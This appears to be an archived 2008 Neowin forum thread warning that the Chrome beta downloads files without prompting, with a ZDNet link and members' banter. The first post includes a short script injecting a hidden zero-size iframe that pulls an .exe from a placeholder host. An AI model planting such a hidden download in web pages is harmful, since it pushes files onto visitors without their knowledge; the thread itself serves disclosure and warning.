Recommended Posts

Google's new Web browser (Chrome) allows files (e.g., executables) to be automatically

downloaded to the user's computer without any user prompt.

Example:

<script>

document.write('<iframe src="http://www.example.com/hello.exe" frameborder="0" width="0" height="0">');

</script>

This is just insane. this should be on the news or something, im sure that right now this exploit isnt an hour old, but still. its spreading quick enough.

Careful guys

Edited by Matan Mates
Title edited. Please do not use all Caps. Thanks!
Link to comment
https://www.neowin.net/forum/topic/664974-do-not-use-google-chrome/
Share on other sites

im looking arround, bugs are appearing everywhere. i found one i think which allows a site to connect a computer to a Zombie sleeper cell net sorta for later use in DDoS attacks, jesus christ

Uh-huh... :rolleyes:

What's next, it uploads your credit card info to a cave in Afghanistan so Al Qaeda can buy Anthrax and porn?

Uh-huh... :rolleyes:

What's next, it uploads your credit card info to a cave in Afghanistan so Al Qaeda can buy Anthrax and porn?

ehm... no.

but there is a new exploit allowing al qaeda upload anthrax through google chrome and spread it arround infidels now lol

September 2nd, 2008

Google Chrome vulnerable to carpet-bombing flaw

Posted by Ryan Naraine @ 3:05 pm

http://blogs.zdnet.com/security/?p=1843

http://blogs.zdnet.com/security/?p=1843&tag=nl.e539

Why, design looks like lego xD

Just curious, but might your extreme excitement and opinions on this be based in any part on a vast portion of your blog pertaining to Firefox?

lego, pokemon ball, window media player logo...the list goes on.

By the way, there is a forum dedicated to Chrome. Here is the link http://www.chrome-forums.net/phpBB3/index.php

Um...did you just create that forum?

Of course bugs are appearing everywhere, it is a BETA. This is the first release. Can't expect it to be bug free.

Just be careful where you browse (which goes for any browser).

Something as simple and obvious as being able to silently run .exe's should have been tested internally don't you think?

Something as simple and obvious as being able to silently run .exe's should have been tested internally don't you think?

It doesn't say the exe is being executed, it is just being downloaded so some user interaction is still required. Don't get me wrong though, I understand how serious of an issue it is.

This topic is now closed to further replies.
  • Recently Browsing   0 members

    • No registered users viewing this page.
  • Posts

    • Walmart was still selling the Apple Watch SE 2 on Black Friday in 2024. I got 1 for my mom and one for my dad for christmas.
    • But apple has ASSURED us that this is private. So, it's private. I expect the same "leeway" shown Microsoft to be reflected here.
    • ASUS ROG Falchion Ace 75 HE keyboard is 27% off on Amazon by Ivan Jenic The ASUS ROG Falchion Ace 75 HE is currently $159.99 on Amazon, down from $219.99. That's 27% off and $60 saved on a keyboard that combines retro and modern design, while being one of the most responsive and adaptable 75% boards available right now (purchase link down below). The ROG Falchion Ace comes with the HFX V2X magnetic switches that allow you to set actuation anywhere between 0.1mm and 3.5mm with 0.01mm fine-tuning steps. It also comes with Rapid Trigger, a feature that resets the key the moment you release it rather than waiting for a fixed reset point, which makes a noticeable difference in fast-paced games. And finally, an 8,000Hz polling rate should make the response time feel instant. The build quality is decent, with dense plastic and powder-coated aluminum, which is expected from a keyboard at this price point. There’s also the onboard adjustment wheel, which lets you tweak actuation and Rapid Trigger sensitivity without opening any software. For competitive gaming, the ROG Falchion Ace is hard to beat at this price. And those who appreciate old-school hardware, especially those white keyboards we’ve all grown up with, will likely also appreciate the looks of this keyboard. A carry case is included. ASUS ROG Falchion Ace 75 HE - $159.99 | 27% off on Amazon This Amazon deal is US-specific and not available in other regions unless specified. This is a first-party seller link (at the time of article publishing); ensure that you also purchase from a first-party seller link only. If you don't like it or want to look at more options, check out the previous deals that we have covered, OR you can also visit Amazon US deals page. Get Prime (SNAP), Prime Video, Audible Plus or Kindle / Music Unlimited. Free for 30 days. As an Amazon Associate, we earn from qualifying purchases.
  • Recent Achievements

    • Very Popular
      Captain_Eric earned a badge
      Very Popular
    • One Month Later
      amusc earned a badge
      One Month Later
    • One Month Later
      DJC50PLUS earned a badge
      One Month Later
    • Week One Done
      DJC50PLUS earned a badge
      Week One Done
    • Proficient
      Eric Biran went up a rank
      Proficient
  • Popular Contributors

    1. 1
      +primortal
      500
    2. 2
      PsYcHoKiLLa
      223
    3. 3
      ATLien_0
      89
    4. 4
      +Edouard
      84
    5. 5
      Steven P.
      81
  • Tell a friend

    Love Neowin? Tell a friend!